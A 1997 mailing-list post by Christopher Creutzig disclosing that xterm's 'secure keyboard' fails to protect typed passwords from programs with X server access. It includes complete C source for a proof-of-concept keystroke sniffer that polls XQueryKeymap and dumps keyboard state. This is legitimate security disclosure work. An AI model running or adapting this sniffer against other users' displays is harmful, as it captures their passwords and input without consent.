Dear Rogier,
some time ago I laid claim that xterm''s "secure console"
feature was by no
means secure. You asked me to demonstrate this to you before you were to
forward my message to linux-security. Please find enclosed the program I use
as proof-of-concept.
-------------------
Dear readers,
please find enclosed a program illustrating a problem with xterm "secure
keyboard" and other programs claiming some method of allowing you to type
in
passwords etc. securely even though untrusted applications have access to
your X server. Personally, I had heard about this problem some time ago, but
a message of mine stating this problem in a different discussions had not
been approved to linux-security because "quite a number of people good at
security think it''s sufficient to use ''secure
keyboard''", so I wrote a small
demonstration program. (It''s actually my first X program, so
son''t be
surprised if it looks very inexperienced.)
What the program does is, it connects to the X display specified in the
environment variable DISPLAY and reads the keybord status 100 times per
second. Every time the keyboard status changes, it dumps the data returned
by XQueryKeymap to its output. It does not try to figure out the actual keys
depressed, but then it''s only supposed to be proof-of-concept. It works
for
me on RedHat 4.0, but as far as I know, nothing has been changed with regard
to this problem in more recent versions of XFree86. I have not verified the
presence of this problem on other machines yet.
--8<--
/*
readchars.c
Read everything typed on an X terminal you''re allowed to connect to.
Copyright (C) 1997 Christopher Creutzig
*/
#include <X11/Xlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
Display *disp;
int i, changed;
char *s;
struct timeval shorttime;
char keys[32];
char lastkeys[32];
shorttime.tv_sec = 0;
shorttime.tv_usec = 10;
s = getenv("DISPLAY");
disp = XOpenDisplay(s);
if (NULL==disp) {
fprintf(stderr, "%s: can''t open display %s\n", argv[0], s);
exit(1);
}
for(i=0; i<32; i++) {
keys[i] = 0;
lastkeys[i] = 1;
}
while(1) {
select(0, NULL, NULL, NULL, &shorttime);
XQueryKeymap(disp, keys);
changed = 0;
for(i=0; i<32; i++) {
if (keys[i] != lastkeys[i])
changed = 1;
lastkeys[i] = keys[i];
}
if (changed) {
printf("Keyboard status:\n ");
for (i=0; i<32; i++)
printf("%02x ", (unsigned char)keys[i]);
printf("\n\n");
}
}
XCloseDisplay(disp);
return 0;
}
-->8--
(Yes I know it never reaches XCloseDisplay, I just think it looks cleaner
this way... :-))
--
Christopher Creutzig # Im Samtfelde 19 # D-33098 Paderborn # V+49-5251-71873
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
F?r Wichtiges: Zur Zeit lese ich Mail an ''ccr@mupad.de''
deutlich ?fter.